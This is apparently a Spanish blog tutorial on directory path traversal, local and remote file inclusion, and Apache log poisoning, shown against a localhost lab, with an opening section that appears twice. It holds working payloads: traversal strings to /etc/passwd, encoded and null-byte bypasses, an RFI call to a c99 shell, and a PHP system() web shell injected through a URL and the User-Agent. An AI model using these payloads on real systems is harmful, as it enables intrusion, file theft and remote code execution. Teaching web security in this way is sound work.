El objetivo de un Directory Path Traversal Attack es el de conseguir acceso a ficheros o directorios que se encuentran fuera del directorio web raíz y en los que en condiciones normales un usuario sin privilegios no tendría acceso alguno.
Normalmente una aplicación web tiene restringido el acceso a usuarios no autorizados a la porción del sistema conocia como los directorios "CGI root" o "Web Document Root". Albergando ahí todos los recursos accesibles por el usuario y necesarios para hacer funcional el portal.
Para acceder a ficheros o ejecutar comandos en cualquier parte del sistema un atacante hará uso de secuencias de caracteres especiales, comúnmente conocidas como "dot-dot-slash" o "../".
Esto permitiría a un usuario malintencionado comprometer el sistema y navegar por toda la estructura de directorios de este, ganando el acceso a ficheros del sistema, códigos fuente, y cualquier cosa que se nos ocurra.
Los ataques de DPT suelen venir acompañados de la mano de otras dos conocidas vulnerabilidades:
Para conseguir explotar esta vulnerabilidad con éxito, el atacante necesita conocer la arquitectura del sistema que alberga la aplicación web, de nada sirve intentar cargar el fichero /etc/passwd si nos encontramos bajo un IIS Server en una plataforma Windows.
En determinadas ocasiones un atacante necesita hacer frente a filtros impuestos por el usuario programador para evitar la carga de ficheros con acceso restringido (lo que comentábamos de usar "../" o el byte nulo que veremos más adelante). Al usar cada sistema operativo un caracter separador diferente es importante conocer cómo trabaja a nivel interno cada uno.
Otra opción sería cargar una shell remota y ejecutar una vulnerabilidad de tipo RFI:
Si nosotros tratamos de abrir el fichero index.php lo haremos a través de la URL:
cargar el fichero /etc/passwd la URL quedará de la siguiente manera:
Log Poisoning
La técnica de Log Poisoning nos permite inyectar código en un fichero de log y ejecutarlo normalmente vía LFI. En nuestro caso suponemos que hemos instalado un servidor web bajo Apache, y por defecto tenemos dos ficheros de registros llamados access_log y error_log. Si conseguimos manipular su contenido e incluir código PHP, podremos ejecutar llamadas a funciones que nos permitan obtener control del equipo.
Antes de nada, veamos una breve recopilación de estos ficheros de log, para saber dónde podemos encontrarlos:
Normalmente una aplicación web tiene restringido el acceso a usuarios no autorizados a la porción del sistema conocia como los directorios "CGI root" o "Web Document Root". Albergando ahí todos los recursos accesibles por el usuario y necesarios para hacer funcional el portal.
Para acceder a ficheros o ejecutar comandos en cualquier parte del sistema un atacante hará uso de secuencias de caracteres especiales, comúnmente conocidas como "dot-dot-slash" o "../".
Esto permitiría a un usuario malintencionado comprometer el sistema y navegar por toda la estructura de directorios de este, ganando el acceso a ficheros del sistema, códigos fuente, y cualquier cosa que se nos ocurra.
Los ataques de DPT suelen venir acompañados de la mano de otras dos conocidas vulnerabilidades:
- Local File Inclusion (LFI) Permite la inclusión de ficheros locales donde se encuentre la web vulnerable.
- Remote File Inclusion (RFI) A diferencia del LFI, permite la inclusión de ficheros que se encuentran en cualquier otro servidor.
¿Qué implicaciones tiene esta vulnerabilidad?
Cuando hacemos uso de funciones como include(), include_once(), require(), require_once() y no ofrecemos ningún tipo de validación ante posibles valores dados por un usuario, se puede provocar que las peticiones procesadas por el servidor web permitan a un atacante:- Ejecutar código remoto.
- Tomar control del equipo vulnerable.
Montando pruebas de caja negra
A la hora de probar si un sistema es vulnerable o no, es recomendable realizar dos tipos de pruebas:- Vectores de enumeración Consiste en una evaluación sistemática de cada vector de ataque.
- Técnicas de testing Evaluación metódica de cada técnica de ataque usada para explotar la vulnerabilidad.
Vectores de enumeración
Para determinar qué partes de la aplicación son vulnerables, el atacante necesita comprobar todas las vías que acepten datos del usuario. Esto abarca desde consultas HTTP, GET, POST hasta formularios para subidas de ficheros. Algunas cuestiones que pueden ayudar a asentarnos en esta fase:- ¿Se usan parámetros relacionados con peticiones a ficheros?
- ¿Se usan extensiones de ficheros poco usuales?
- ¿Hay nombre de variables poco normales?
- http://localhost/lab/perfil.php?fichero=0xroot.html
- http://localhost/lab/index.php?fichero=passwd
- http://localhost/lab/main.cgi?home=index.html
Técnicas de testing
El siguiente objetivo es analizar las funciones de validación para los datos de entrada en la aplicación web. Tomando como ejemplo el código anterior, nuestra página dinámica dpt-example1.php, carga un contenido estático a través de un fichero. Un atacante puede aprovechar esto para insertar una cadena como "../../../etc/passwd" y volcar el contenido del fichero de claves de un sistema Unix.Para conseguir explotar esta vulnerabilidad con éxito, el atacante necesita conocer la arquitectura del sistema que alberga la aplicación web, de nada sirve intentar cargar el fichero /etc/passwd si nos encontramos bajo un IIS Server en una plataforma Windows.
En determinadas ocasiones un atacante necesita hacer frente a filtros impuestos por el usuario programador para evitar la carga de ficheros con acceso restringido (lo que comentábamos de usar "../" o el byte nulo que veremos más adelante). Al usar cada sistema operativo un caracter separador diferente es importante conocer cómo trabaja a nivel interno cada uno.
- Sistemas Unix
- Sistemas Windows
Directorio raíz: /
Carácter Separador: /
Directorio raíz: Letra de Unidad:\
Carácter Separado: \ ó /
Operadores mayor y menor que: >, < Comillas dobles: "./" , ".\"
- fichero.txt
- fichero.txt...
- fichero.txt
- fichero.txt""""
- fichero.txt<<<><><><
- fichero.txt/./././
- %2e%2e%2 representa ../
- %2e%2e/ representa ../
- ..%2f representa ../
- %2e%2e%5c representa ..\
- %2e%2e\ representa ..\
- ..%5c representa ..\
- %252e%252e%255c representa ..\
- ..%255c representa ..\
El entorno de pruebas
Para demostrar lo nocivo que puede llegar a ser este tipo de vulnerabilidad vamos a montarnos un entorno de pruebas en un sistema real. Nuestro laboratorio va a componerse de los siguientes ficheros:- dpt-example1.php [Pastebin]
- dpt-example2.php [Pastebin]
- dpt-example3.php [Pastebin]
- index.php [Pastebin]
http://localhost/lab/dpt-example1.phpObteniendo el mensaje de "No se ha especificado el recurso". Pero qué sucedería si decidimos hacer la llamada al fichero index.php:
http://localhost/lab/dpt-example1.php?recurso=index.phpObtenemos el mensaje esperado. Pero puede darse el caso de que el usuario que anda navegando por nuestra página web, sea un poco más perspicaz y quiera cargar el fichero /etc/passwd. Si observamos el código de nuestra aplicación vulnerable, nosotros no hemos realizado ningún tipo de validación previa a los valores que introduzca el usuario. Si cargamos:
http://localhost/lab/dpt-example1.php?recurso=/etc/passwdLo que obtenemos es:
Otra opción sería cargar una shell remota y ejecutar una vulnerabilidad de tipo RFI:
http://localhost/lab/directory-path-traversal.php?recurso=http://127.0.0.1/lab/shells/c99.txt
Usando el byte NULL
El byte NULL es un byte especial utilizado por nuestro equipo y es el equivalente a la representación binaria de 0000 0000 en hexadecimal 0x00. El uso de este carácter especial es cómo terminador de cadenas. Supongamos que tenemos el siguiente código (dpt-example3.php)Si nosotros tratamos de abrir el fichero index.php lo haremos a través de la URL:
http://localhost/lab/dpt-example3.php?recurso=indexAutomáticamente nuestro código concatenará al valor pasado el string ".php", esto nos supone un problema si quieremos abrir el fichero "/etc/passwd" o alguno otro similar porque obtendremos el siguiente error:
Warning: require(/etc/passwd.php) [function.require]: failed to open stream: No existe el fichero ó directorio in /opt/lampp/htdocs/lab/directory-path-traversal.php on line 3
Fatal error: require() [function.require]: Failed opening required '/etc/passwd.php' (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/lab/dpt-example3.php on line 3El problema viene debido a que no encuentra en el sistema un fichero llamado "/etc/passwd.php", para saltarnos esta restricción haremos que todos los datos que introduzcamos lleven al final el carácter especial , así para
cargar el fichero /etc/passwd la URL quedará de la siguiente manera:
http://localhost/lab/dpt-example3.php?recurso=/etc/passwdCon lo que obtendremos:
Log Poisoning
La técnica de Log Poisoning nos permite inyectar código en un fichero de log y ejecutarlo normalmente vía LFI. En nuestro caso suponemos que hemos instalado un servidor web bajo Apache, y por defecto tenemos dos ficheros de registros llamados access_log y error_log. Si conseguimos manipular su contenido e incluir código PHP, podremos ejecutar llamadas a funciones que nos permitan obtener control del equipo.
Antes de nada, veamos una breve recopilación de estos ficheros de log, para saber dónde podemos encontrarlos:
- /etc/httpd/logs/access.log
- /etc/httpd/logs/access_log
- /etc/httpd/logs/error.log
- /etc/httpd/logs/error_log
- /opt/lampp/logs/access_log
- /opt/lampp/logs/error_log
- /usr/local/apache/log
- /usr/local/apache/logs
- /usr/local/apache/logs/access.log
- /var/log/httpd/access_log
- /var/log/httpd/error_log
- /var/log/httpsd/ssl.access_log
- /var/log/httpsd/ssl_log
- /var/log/thttpd_log
- C:\Program Files\Apache Group\Apache\logs\access.log
- C:\Program Files\Apache Group\Apache\logs\error.log
- C:\xampp\apache\logs\access.log
- C:\xampp\apache\logs\error.log
- Y un largo etcétera...
- Accediendo al fichero error_log
- Accediendo al fichero access_log
Suponiendo que hemos encontrado una vulnerabilidad LFI tratamos de acceder a la siguiente URL inexistente que será almacenada en nuestro fichero de log:
http://localhost/%3C%3FPHP $s=$_GET;@chdir($s['x']);echo@system($s['y'])%3F%3ESi os dais cuenta se han sustituid los caracteres por su representación hexadecimal %3C%3F y %3F%3E respectivamente, dado que si tratamos de colar la url como tal, el código PHP no será guardado correctamente en el servidor, quedando esto:
[Wed Oct 13 17:08:24 2010] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/<Sin embargo utilizando ese pequeño truco, conseguimos saltarnos el filtrado y se nos guardará la siguiente cadena en el fichero de log:
[Wed Oct 13 17:03:51 2010] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/Si ahora acudimos a nuestro código vulnerable y ejecutamos la siguiente URL:
http://localhost/lab/dpt-example2.php?recurso=/opt/lampp/logs/error_log&x=/&y=ls%20-lObtendremos la ejecución del comando ls -l
Más complicado que el ejemplo anterior, consiste en inyectar directamente el código php en el User-Agent del navegador, para ello vamos a utilizar el plugin "User Agent Switcher" para incrustar nuestro script en PHP en el User-Agent y nos apoyaremos en el plugin "Live HTTP Header" para ver el contenido de las cabeceras que sean enviadas por nuestro navegador.
Deberá quedarnos de la siguiente manera:
Haciendo una petición a la aplicación web vulnerable con la siguiente URL:
http://localhost/lab/dpt-example2.php?recurso=Si observamos el log "access_log" se ha agregado una nueva entrada con el siguiente contenido:
Si accedemos mediante la siguiente URL:
http://localhost/lab/directory-path-traversal.php?recurso=/opt/lampp/logs/access_logY ejecutamos el plugin "Live HTTP Headers" observaremos como la cabecera que se envía tiene la siguiente forma:
Nuevamente hemos conseguido inyectar e interpretar código PHP satisfactoriamente y el contenido de nuestro fichero acces_log quedará de la siguiente forma:
127.0.0.1 - - [13/Oct/2010:18:21:25 +0200] "GET /lab/directory-path-traversal.php?recurso= HTTP/1.1" 200 556
127.0.0.1 - - [13/Oct/2010:18:23:10 +0200] "GET /lab/directory-path-traversal.php?recurso=/opt/lampp/logs/access_log HTTP/1.1" 200 320
Muy bueno el articulo!!
ResponderEliminarMuy bien explicado, se nota que tiene mucha dedicacion!!